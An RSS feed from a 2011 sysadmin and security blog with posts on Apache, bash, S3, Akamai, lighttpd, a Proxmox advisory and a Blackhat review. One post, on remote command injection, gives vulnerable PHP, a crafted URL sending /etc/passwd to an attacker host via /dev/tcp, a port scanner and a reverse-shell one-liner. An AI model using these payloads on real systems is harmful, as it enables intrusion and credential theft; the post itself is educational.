<?xml version="1.0" encoding=""?>
<?xml-stylesheet type="text/css" href="http://www.tuxz.net/blog/"?>
<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:admin="http://webns.net/mvcb/" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Alexandre De Dommelin weblog</title>
<atom:link href="http://www.tuxz.net/blog/rss.xml" rel="self" type="application/rss+xml" />
<link>http://www.tuxz.net/blog</link>
<description></description>
<dc:language></dc:language>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:date>2011-11-22T20:17:34+00:00</dc:date>
<admin:generatorAgent rdf:resource="http://nanoblogger.sourceforge.net" />
<item>
<link>http://www.tuxz.net/blog/archives/2011/11/22/apache__inject_http_response_header_in_a_rewrited/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/11/22/apache__inject_http_response_header_in_a_rewrited/</guid>
<title>Apache : Inject HTTP response header in a rewrited URL using environment variable</title>
<dc:date>2011-11-22T20:11:31+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>Tips</dc:subject>
<description>
<![CDATA[<p>
I've spent a few hours looking for a way to inject HTTP response headers in a rewrited URL directly from the Apache configuration.<br/>
<br/>
Here's the trick, in the RewriteRule just set a environment variable, ie: "addheader". <br/>
But unfortunately, this one can't be used as-is as a condition in the "Header" directive. In this case you'll need to rely on the presence / absence of the "REDIRECT_addheader" : 
</p>
<pre clas="sh_sh">
RewriteEngine On
RewriteRule ^([A-Z]{2})_([a-z]{2})$  /rewrite.php?a=$1&b=$2 [L,E=addheader:1]
Header set my-header "myvalue" env=REDIRECT_addheader
</pre>]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/11/19/puppet_talk__journ_eacutees_du_logiciel_libre_20/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/11/19/puppet_talk__journ_eacutees_du_logiciel_libre_20/</guid>
<title>Puppet Talk @ Journées du Logiciel Libre 2011</title>
<dc:date>2011-11-19T10:31:32+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>Foo</dc:subject>
<description>
<![CDATA[<p>
Here are the slides of the talk I've given at Journ&eacute;es du Logiciel Libre yesterday in Lyon (<a href="http://static.tuxz.net/docs/JDLL2011_Puppet.pdf">Download</a>)
</p>
<div style="width:425px" id="__ss_10234241"><strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/adedommelin/prsentation-puppet-journes-du-logiciel-libre-2011" title="Présentation Puppet Journées du Logiciel Libre 2011">Présentation Puppet Journées du Logiciel Libre 2011</a></strong><object id="__sse10234241" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=jdll2011puppet-111119101747-phpapp01&stripped_title=prsentation-puppet-journes-du-logiciel-libre-2011&userName=adedommelin" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><param name="wmode" value="transparent"/><embed name="__sse10234241" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=jdll2011puppet-111119101747-phpapp01&stripped_title=prsentation-puppet-journes-du-logiciel-libre-2011&userName=adedommelin" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="transparent" width="425" height="355"></embed></object><div style="padding:5px 0 12px">View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/adedommelin">Alexandre De Dommelin</a>.</div></div>]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/10/19/parse__ini_files_with_bash_and_sed/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/10/19/parse__ini_files_with_bash_and_sed/</guid>
<title>Parse .ini files with bash and sed</title>
<dc:date>2011-10-19T18:41:31+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>Tips</dc:subject>
<description>
<![CDATA[<p>
Here's a very cool way to parse ini files inside a shell script.<br/>
The following snippet will declare variables in the current scope of your script from all the key/values pairs present in the matching section.
</p>
<pre class="sh_sh">
#!/bin/bash
CONFIG_FILE="config.ini"
SECTION="section_1"

eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
    -e 's/;.*$//' \
    -e 's/[[:space:]]*$//' \
    -e 's/^[[:space:]]*//' \
    -e "s/^\(.*\)=\([^\"']*\)$/\1=\"\2\"/" \
   < $CONFIG_FILE \
    | sed -n -e "/^\[$SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`
</pre>]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/08/01/using_amazon_s3_to_store_private_git_repositories/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/08/01/using_amazon_s3_to_store_private_git_repositories/</guid>
<title>Using Amazon S3 to store private Git repositories</title>
<dc:date>2011-08-01T16:03:57+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>Articles</dc:subject>
<description>
<![CDATA[<p>
Here's a solution to use Amazon S3 to store private Git repositories using <a href="http://eclipse.org/jgit/download/">jGit</a>.<br/>
First, you need to install Java Runtinme, Git (openjdk-6-jre and git packages in Debian) and download jGit :
<pre class="sh_sh">
sudo wget -O /usr/local/bin/jgit "http://download.eclipse.org/jgit/maven/org/eclipse/jgit/org.eclipse.jgit.pgm/1.0.0.201106090707-r/org.eclipse.jgit.pgm-1.0.0.201106090707-r.sh"
sudo chmod +x /usr/local/bin/jgit
</pre>
Create Access Keys in your Amazon Web Services Console and add them to your ~/.jgit file :
<pre class="sh_sh">
echo "accesskey: your_access_key" > ~/.jgit
echo "privatekey: your_private_key" >> ~/.jgit
chmod 600 ~/.jgit
</pre>
You also need to create a S3 bucket, let's call it "my_git". 
<br/>
<br/>
<u><b>Initializing repo & pushing to S3</b></u>
<pre class="sh_sh">
cd ~/hack/project_name/
git init
git remote add s3 amazon-s3://.jgit@my_git/project-name.git
git add *
git commit -m "Initial Commit" -a
jgit push s3 master
</pre>
<u><b>Cloning repository from S3</b></u>
<pre class="sh_sh">
cd ~/tmp/
jgit clone amazon-s3://.jgit@my_git/project-name.git
</pre>
<u><b>Updating</b></u><br/>
jGit doesn't support merge or pull so do it in 2 steps :
<pre class="sh_sh">
cd ~/tmp/project-name/
jgit fetch
git merge origin/master
</pre>
As you can see, jGit is only used when interacting with S3, standard git commands are still used otherwise.
</p>]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/07/24/troubleshooting_akamai_delivery_-_getting_headers/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/07/24/troubleshooting_akamai_delivery_-_getting_headers/</guid>
<title>Troubleshooting Akamai delivery - Getting Headers using curl</title>
<dc:date>2011-07-24T23:41:52+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>Tips</dc:subject>
<description>
<![CDATA[<p>
I'm playing with <a href="http://www.akamai.com/">Akamai</a> everyday and regularly have to analyze / debug objects delivery.<br/>
Here's a way of getting useful informations about how Akamai is handling requests &amp; objects delivery using curl :
</p>
<pre class="sh_sh">
$ curl -I -H "Pragma: akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-nonces, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no"
</pre>
<p>
By aliasing this command in your shell, usage is simple (ie the homepage Facebook logo) :
</p>
<pre class="sh_sh">
$ akcurl http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
HTTP/1.1 200 OK
Content-Length: 2209
Content-Type: image/png
Last-Modified: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: 
Cache-Control: public, max-age=17729726
Expires: Wed, 15 Feb 2012 02:30:08 GMT
Date: Sun, 24 Jul 2011 21:34:42 GMT
X-Cache: TCP_MEM_HIT from a212-243-221-243 (AkamaiGHost/6.5.0.2-8185567) (-)
X-Cache-Key: /L/749/27754/28d/static.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
X-True-Cache-Key: /L/static.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
X-Akamai-Session-Info: name=PARENT_SETTING; value=TD
X-Serial: 749
Connection: keep-alive
X-Check-Cacheable: YES

</pre> ]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/07/16/12th_annual_system_administrator_appreciation_day/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/07/16/12th_annual_system_administrator_appreciation_day/</guid>
<title>12th Annual System Administrator Appreciation Day</title>
<dc:date>2011-07-16T16:59:14+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>Foo</dc:subject>
<description>
<![CDATA[<p>
<a href="http://www.sysadminday.com">
<img src="http://static.tuxz.net/img/thumbsup-234x60.gif" alt="SysAdminDay">
</a>
<br/>
<br/>
Friday, July 29, 2011, is the 12th annual System Administrator Appreciation Day. On this special international day, give your System Administrator something that shows that you truly appreciate their hard work and dedication. (All day Friday, 24 hours, your own local time-zone).<br/><br/>
In case, I've updated <a href="https://www.thinkgeek.com/brain/gimme.cgi?wid=81ec6b407">my thinkgeek wishlist</a> :-)
</p>]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/05/23/remote_command_injection_-_playing_with_devtcp/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/05/23/remote_command_injection_-_playing_with_devtcp/</guid>
<title>Remote Command Injection - Playing with /dev/tcp</title>
<dc:date>2011-05-23T22:01:03+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>Tips</dc:subject>
<description>
<![CDATA[<p>Important note : this article is for educational purpose only ... <br/>
When pentesting web applications, you can sometimes found remote command injection vulnerabilities. These vulnerabilities exist when user input is not properly sanitized and used, inside, for example, PHP functions such as exec(), system() ... here's a stupid example of vulnerable code :</p>
<pre class="sh_php">
&lt;?php
/*
 * Stupid example
 */

function create_dir($dir) {
        @exec('mkdir /var/tmp_storage/'.$dir, $out, $ret);
}

// call my vulnerable function
create_dir( $_GET['dir'] );
?&gt;
</pre>
<p>
In this case, you can see that <i>$_GET['dir']</i> is injectable, but no output will be returned to user. Considering that you can't create any file into the DocumentRoot of the vulnerable site, and that you can't upload your own binary (netcat for example), here's a good way to exploit <i>/dev/tcp</i> capabilities to send everything you want to another server and much more. 
</p>
<b><u>What is /dev/tcp ?</u></b>
<br/><i>/dev/tcp</i> is a Bash built-in which can be used to create a TCP socket on which you can interact using regular IO redirections.

<b><u>Usage / Exploitation</u></b><br/>
Put netcat in listen mode on a remote box "attack-box.tld" on a given port (4444 here)
<pre class="sh_sh">
$ nc -klvp 4444
listening on [any] 4444 ...
</pre>

Then, send a crafted request on the vulnerable file :
<pre class="sh_sh">
% curl -I 'http://www.victim.tld/create_dir.php?dir=%2f%3B%20bash%20-c%20%22cat%20%2fetc%2fpasswd%3E/dev/tcp/attack-box.tld/4444"'
HTTP/1.1 200 OK
Content-type: text/html
Date: Mon, 23 May 2011 19:45:08 GMT
Server: Apache 

</pre>

You can immediately see on "attack-box" the following output, the victim's /etc/passwd file :
<pre class="sh_sh">
$ nc -klvp 4444
listening on [any] 4444 ...
connect to [xxx.xxx.xxx.xxx] from www.victim.tld [yyy.yyy.yyy.yyy] 37216
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
postfix:x:101:105::/var/spool/postfix:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
[...]
</pre>


<b><u>More fun ...</u></b><br/>
You can also use <i>/dev/tcp</i> properties to create a basic port-scanner, which can send to your box the results :
<pre class="sh_sh">
port=1;
ip=192.168.142.12;
while [ $port -lt 1024 ];
do
  echo > /dev/tcp/$ip/$port;
  [ $? == 0 ] && echo "Found ${ip}:${port} opened" >> /tmp/ports;
  port=`expr $port + 1`;
done;
cat /tmp/ports > /dev/tcp/attack-box.tld/4444;
</pre>

Or also use it to bring up a quick reverse-shell :
<pre class="sh_sh">
$ bash -i >& /dev/tcp/attack-box.tld/4444 0>&1
</pre>
<br/>
Of course, for those 2 examples, you need a nc listening on "attack-box.tld" ...]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/04/09/optimizing_website_performance_using_lighttpd_mod/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/04/09/optimizing_website_performance_using_lighttpd_mod/</guid>
<title>Optimizing website performance using lighttpd mod_compress and /dev/shm</title>
<dc:date>2011-04-09T15:31:10+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>Articles</dc:subject>
<description>
<![CDATA[<p>
Lighttpd allows output compression for static files using gzip (RFC1952), deflate (RFC1950, RFC1951) and bzip2 through mod_compress. As major HTTP clients now supports content compression, and announce it to webservers using the "Accept-Encoding" HTTP header, compressing content before sending it is a good way to reduce network load and improve the overall throughput of the webserver.<br/>
<br/>
Lighttpd needs a cache folder to store compressed data, so in order to improve performance, we will use /dev/shm as storage point. /dev/shm appears as a mounted fs but instead of using a physical partition, he relies on virtual memory. Here is the relevant part of the config (/etc/lighttpd/lighttpd.conf):

<pre>
server.modules              = (
        [...]
        "mod_compress",
        [...]
)

compress.allowed-encodings = ("gzip", "deflate")
compress.cache-dir          = "/dev/shm/lightty_compress/"
compress.filetype           = ("text/plain","text/css","text/xml","text/javascript","text/html","application/javascript")
</pre>

The cache folder will be automatically created on lightty startup. This setup is quite basic (compression of CSS, JS & HTML files), but covers my needs (no dynamic language such as PHP). Let's see the difference with and without output compression :
<br/>
<br/>
<b><u>Without output compression</u></b><br/>
<img src="/blog/images/before_compress.png" alt="without output compression"/>
<br/>
<br/>
<b><u>With output compression</u></b><br/>
<img src="/blog/images/after_compress.png" alt="with output compression"/>
<br/>
<br/>
No more comments needed :-)
</p>]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/03/31/security_advisory_multiple_vulnerabilities_in_pv/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/03/31/security_advisory_multiple_vulnerabilities_in_pv/</guid>
<title>[Security Advisory] Multiple vulnerabilities in PVE Manager</title>
<dc:date>2011-03-31T19:01:03+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<dc:subject>security_advisories</dc:subject>
<description>
<![CDATA[I want to warn you about multiple vulnerabilities (Cross-Site Scripting &amp; Cross-Site Request Forgery) I've found into Proxmox Virtual Environment Manager. Proxmox is an Open Source virtualization platform for running Virtual Appliances and Virtual Machines (OpenVZ &amp; KVM).<br/><br/> 
These vulnerabilities can be exploited by an attacker to trigger actions (CT shutdown, removal ...) on targetted PVE Manager.<br/>

<table class="advisory">
        <tr>
                <td class="title">Product affected</td> 
                <td class="content">Proxmox Virtual Environment Manager</td>    
        </tr>
        <tr>
                <td class="title">Versions affected</td>
                <td class="content"> &lt;= 1.7</td>
        </tr>
        <tr>
                <td class="title">Details</td>
                <td class="content">
                        Persistant XSS in CT "Note" Field (<a href="http://projects.webappsec.org/Cross-Site-Scripting">WASC-08</a>)<br/>
                        Multiple CSRF in various forms, can lead to force CT shutdown ... (<a href="http://projects.webappsec.org/Cross-Site-Request-Forgery">WASC-09</a>)<br/> 
                </td>
        </tr>
        <tr>
                <td class="title">Disclosure Timeline</td>
                <td class="content">
                        2011-03-16 : Identified vulnerabilities<br/>
                        2011-03-21 : Informed vendor (Dietmar Maurer @ promox com )<br/>
                        2011-03-22 : Provided additional informations to vendor<br/>
                        2011-03-25 : Patch applied by vendor<br/>
                        2011-03-30 : New Proxmox Release<br/>
                        2011-03-31 : Disclosed at my site<br/>
                </td>
        </tr>
        <tr>
                <td class="title">Mitigation</td>
                <td class="content">
                        Upgrade to the latest version (1.8-15)  
                </td>
        </tr>
</table>]]>
</description>
</item>
<item>
<link>http://www.tuxz.net/blog/archives/2011/03/21/blackhat_europe_2011_-_briefings_review/</link>
<guid isPermaLink="true">http://www.tuxz.net/blog/archives/2011/03/21/blackhat_europe_2011_-_briefings_review/</guid>
<title>Blackhat Europe 2011 - Briefings review</title>
<dc:date>2011-03-21T20:43:00+00:00</dc:date>
<dc:creator>Alexandre De Dommelin</dc:creator>
<description>
<![CDATA[<img src="http://www.tuxz.net/blog/images/bheu2011/bh_eu.png"/><br/> 
<br/>
Just coming back from my week at Barcelona, Spain where I came to attend Blackhat Europe Briefings &amp; Trainings.<br/>
It was my first BH, and I must admit that it was what I expected : fun, very interesting and instructive.<br/>
<br/>
Many tracks sounds very interesting (see <a href="https://www.blackhat.com/html/bh-eu-11/bh-eu-11-schedule.html">schedule</a>), it was quite hard to make a choice, but I end up with the following :<br/>
<br/>
<b><u>[core attacks] New Age Attacks Against Apple's iOS (and Countermeasures)</u></b><br/>
<i>Speaker : Nitesh Danjani</i><br/>
This talks started with two numbers : 100 million iPhones &amp; 15 million iPads sold. These impressive results are mainly due to well-designed hardware and very intuitive software. The reality now is that with 15 billion apps downloaded, more and more users are storing personal data, and that, in corporate environments, they are becoming to store confidential informations (email ...).<br/>
iOS uses URLSchemes (protocol handlers) to link requests between applications which is quite common, however, except for "tel:/", no confirmation is prompted, so it's quite easy to make iOS-based devices to start applications remotely for example using an iframe in a web page :<br/>
<pre>
&lt;iframe src="gtalk://justin_bieber"&gt;&lt;/iframe&gt;
</pre>
In this case, the user will be connected to Justin Bieber without any confirmation :-)<br/>
This example is not (?) harmless, but the author said that a lot of URLSchemes are undocumented because they were added for testing purposes ... but still available on prod. Nitesh made a demo about the "skype://" handler forces the user to place a Skype Call. This "payload" is included into BeEF, so a simple XSS vulnerability is enough.<br/>
This is only one of the issue of which developers should care :
<ul>
<li>UI Spoofing inserting a fake URL bar</li>
<li>Identity deCloaking with a rogue AP / MiTM attack calling "fb://" profile</li>
<li>Bad SSL implementations</li>
<li>Push notification abuse</li>
</ul>
<br/>
<b><u>[app dissection] HTTP Parameter Pollution Vulnerabilities</u></b><br/>
<i>Speaker : Marco Balduzzi</i><br/>
Web has evolved from static pages to complex applications, and 60% of the attacks are now web-apps targeted. Everybody knows about injections flaws such as SQL Injections, XSS, CSRF and many tools are available to detect and/or mitigate them. HTTP Parameter Pollution (HPP) is still less known (first presentation was made in 2009).<br/>
HTTP allows parameters to provided multiple times, and depending of the server-side language the parameter precedence is handled differently, so inserting "%26param%3Dvalue" into one of the variable can lead to overriding existing (harcoded) values.<br/>
HPP can also to be used for Cross-Channel pollution, when parameters can be provided from multiple sources (POST, GET, Cookie...). He also gave an example of CSRF token bypass on Yahoo! Mail, and, remember that if parameters are concatenated, it can be very useful to bypass WAF protections ...<br/>  
Marco developed an online tool (python + firefox extension) to analyse websites for HPP vlunerabilities called <a href="http://papas.iseclab.org/">PAPAS</a>. <br/>
Popular websites were analysed (5016 websites in 15 days more than 149 000 unique pages) and found that 30% of them were vulnerable (not necessaraly exploitable). 14% (702) were found as exploitable where injected parameter override existing parameter or accepted as a new one.<br/>
Examples : the main Google site could be manipulated to produce search results different from the intended results, WHO main website to display different content, Facebook share button, AETV online shop to force people buying another product instead of the one they choose. 
<br/>
<br/>
<b><u>[app dissection] Web applications security payloads</u></b><br/>
<i>Speaker : Andres Riancho</i><br/>
This talk was about <a href="http://w3af.sourceforge.net/">w3af</a>. w3af stands for Web Application Attack and Audit Framework. The project's goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. This project is OpenSource (GPLv2), is easily extensible using plugins, and, since 07/2010 have full-time development resources due to Rapid7 sponsoring.<br/>
2 interfaces are available, CLI &amp; GUI.<br/>
Post exploitation in web applications flaws requires to change our mindset, because we are generally restricted to one or few functions (readfile() ...), that's where w3af comes in. The author developped plugins to exploit the read permission to achieve and automate actions on a vulnerable system :
<ul>
<li>Extract users list</li>
<li>Show established TCP connections</li>
<li>Try to extract sensitive files (bruteforcing paths / filenames)</li>
<li>Extract config files (apache, php, htaccess ...)</li>
<li>Download the source code of the remote web application</li>
</ul>
The last one is becoming very powerful because of another plugin : php_sca a static code analyzer which allows to automatically parse dumped source code to find other vulnerabilities such as SQL Injections &amp; OS commanding. It's still in early stage but the demo was very impressive and get applause from the conference room. 
<br/>
<br/>
<b><u>[app dissection] SAP : Session (fixation) Attacks &amp; Protections</u></b><br/>
<i>Speaker : Raul Siles</i><br/>
HTTP is a stateless protocol, so session management have to be implemented into by developers themselves.<br/>
Session Fixation is different from Session Hijacking : in this case the attacker don't have to steal session ID from the victim, but will fix HIS session ID into the victim to get its privileges. The attacker sets up a session with a website, but does not log on. He then tricks a user into log in using the same session ID. As the session gets elevated, both the attacker and victim get the authenticated state.<br/>
The speaker remembers that social engeneering is not the only way to fix session ID on the victim (XSS, SQLi, MiTM ... are also a good way).<br/> Working examples were demonstrated (flaws discovered by the speaker) :
<ul>
<li>Joomla Session Fixation in v1.5 - 1.5.15</li>
<li>Weblogic, based on a configuration problem (reported live during the talk)</li>
<li>SAP, using a MiTM attack where users where authenticated with NTLM on HTTP before getting redirected to the HTTPS application (real-case study)</li>
</ul>
To conclude : Session ID MUST be renewed every time the privileges level changes.
<br/>
<br/>
<b><u>[keynote] Cyberwar</u></b><br/>
<i>Speaker : Bruce Schneier</i><br/>
We have the honor to listen Bruce Schneier talking about Cyberwar, better than a long speach, you can download the keynote <a href="https://media.blackhat.com/bh-eu-11/Schneier-Keynote/BlackHat-EU-2011-Keynote-Schneier.m4v">here</a>.
<br/>
<br/>
<b><u>[workshop] A taste of the latest Samurai Web Testing Framework</u></b><br/>
<i>Speaker : Justin Searle</i><br/>
This workshop was directed by Justin Searle one of the founder of Samurai WTF.<br/>
This live CD, based on Ubuntu is a pentest distribution similar to BackTrack but targeted to web applications. Usage of many tools were shown, was interesting but didn't learned a much. However, I've found a good project to contribute :-). 
<br/>
<br/>
<b><u>[infrastructure rationale] Building Floodgates: Cutting-Edge Denial of Service Mitigation</u></b><br/>
<i>Speakers : Yuri Gushin / Alex Behar</i><br/>
The 2 speakers are researchers in DoS mitigation techniques.<br/>
DoS attacks are becoming prevalent these times, and most of big attacks succeded (Wikileaks, Mastercard ...).<br/>Different types of DoS presented :
<ul>
<li>Layer 3 : Flood of TCP, UDP, ICMP, IGMP packets overloading infrastructure</li>
<li>Layer 4 : Consuming CPU cycles ... on the device, eg. SYN flood, connections flood ...</li>
<li>Layer 7 : "Culmination of evil", attacking applications by trying to consume resources (HTTP page flood, HTTP bandwith consumption, HTTP POST DoS ...)</li>
</ul>
DoS mitigation techniques :
<ul>
<li>Static thresholds : setting a max rate, requires regular manual tuning</li>
<li>Adaptive threshold : attempting the learn real traffic characteristics, which improves accuracy, however, natural traffic peaks may be blocked too.</li>
</ul>
More sophisticated detection can be based on using 2-dimensions, for example DNS requests v.s. HTTP requests.<br/>
Some active mitigation techniques were shown : 
<ul>
<li>Challenge response : This wards of clients that don't have a full protocol stack (SYN cookies or requiring JS, Flash ...)</li>
<li>Session Disruption : Causing the clients to use more resources in the attack that you need to mitigate the attack.</li>
<li>Tarpitting : Stalling malicious connections.</li>
</ul>
Then they presented their new tool : Roboo - HTTP Robot Mitigator (available @ <a href="http://www.ecl-labs.org">www.ecl-labs.org</a>).<br/>
This is a nginx module written in Perl based on a Challenge/Response mechanism, released under an OpenSource licence.<br/> It responds to GET/POST requests from unverified source with a challenge. This challenge is JS or Flash based (optionnaly gzip'ed), to which only a real browser with full HTTP, HTML, JS and/or Flash stack can answer. Then a cookie is set and the traffic is marked as verified.<br/><br/>
A demo was made attacking a protected website (the attack was made using LOIC - Low Orbit Ion Canon, the tool used to attack Wikileaks), and comparing the pcap with a "real request" made by a browser ... seems to work well.<br/>
The module allows you to provide IP ranges whitelist (in order let, for example, Google Bots indexing your website). 
<br/>
<br/>
<b><u>[infrastructure rationale] You are Doing it Wrong: Failures in Virtualization Systems</u></b><br/>
<i>Speaker : Claudio Criscione</i><br/>
Virtualization aims to save money, make things simple and quick to deploy. Saving money and quick deployment are enemies of security :-)<br/>
Securing the hypervisor is, of course, very important, you must not be able to jump from one VM to another, but securing the management interface is very important too ! And it seems that this part is quite forgotten by vendors. The speaker announce that in 5 man days, he founds 18 "0-days".<br/>
Even simple bugs like XSS are problematic in virtualisation management interface, he made a demo of one in VMWare vCenter which took 1.5 year to patch ! He also with that introduced VASTO a metasploit module which allow to exploit various flaws in virtualization management interface.<br/>
The next demo was done against VMWare vSphere client using VASTO ... the client maintains a debug logfile containing SOAP Session ID worlwide readable, so you just have to read this file, extract the ID and start the expoit from metasploit to get administrative privileges on the virtualization infrastructure without beeing prompted for any password.<br/>
<br/>
He then introduced VASTOKeeper, a PoC based on apache/mod_security to define which communication is allowed between the management solution and the virtual machines where you can define which actions a user can execute on a virtual infrastructure regardless of his or her authentication level.<br/>It will generate a network configuration file and a mod_security configuration file that will prevent certain actions for propagating from vCenter to ESXi.
<br/>
<br/>
<b><u>[infrastructure rationale] Monoculture - the other side</u></b><br/>
<i>Speaker : Damir Rajnovic</i><br/>
This talk was made by Gaus from the Cisco PSIRT, which tried to demonstrate that buying equipement from different vendors can't conduct to improve security.<br/>
He shows examples I didn't approved like that there are a lot of similar flaws in GNU/Debian Linux &amp; Red Hat so that we can conclude that those 2 projects are quite linked and so suggested that using different distributions wouldn't help, and that buying from different vendors should lead to the same result.
<br/>
<br/>
See you next year !<br/>
<br/>
<b><u>Some photos (Blackhat & BCN)</u></b><br/>
<br/>
<a href="http://www.tuxz.net/blog/images/bheu2011/badge.jpg"><img src="http://www.tuxz.net/blog/images/bheu2011/badge_small.jpg" style=""/></a>
<a href="http://www.tuxz.net/blog/images/bheu2011/kit.jpg"><img src="http://www.tuxz.net/blog/images/bheu2011/kit_small.jpg" style=""/></a>
<a href="http://www.tuxz.net/blog/images/bheu2011/jardin.jpg"><img src="http://www.tuxz.net/blog/images/bheu2011/jardin_small.jpg" style=""/></a>
<a href="http://www.tuxz.net/blog/images/bheu2011/market1.jpg"><img src="http://www.tuxz.net/blog/images/bheu2011/market1_small.jpg" style=""/></a>
<a href="http://www.tuxz.net/blog/images/bheu2011/market2.jpg"><img src="http://www.tuxz.net/blog/images/bheu2011/market2_small.jpg" style=""/></a>
<a href="http://www.tuxz.net/blog/images/bheu2011/tapas.jpg"><img src="http://www.tuxz.net/blog/images/bheu2011/tapas_small.jpg" style=""/></a>
<a href="http://www.tuxz.net/blog/images/bheu2011/bheu2011.jpg"><img src="http://www.tuxz.net/blog/images/bheu2011/bheu2011_small.jpg" style=""/></a>]]>
</description>
</item>
</channel>
</rss>

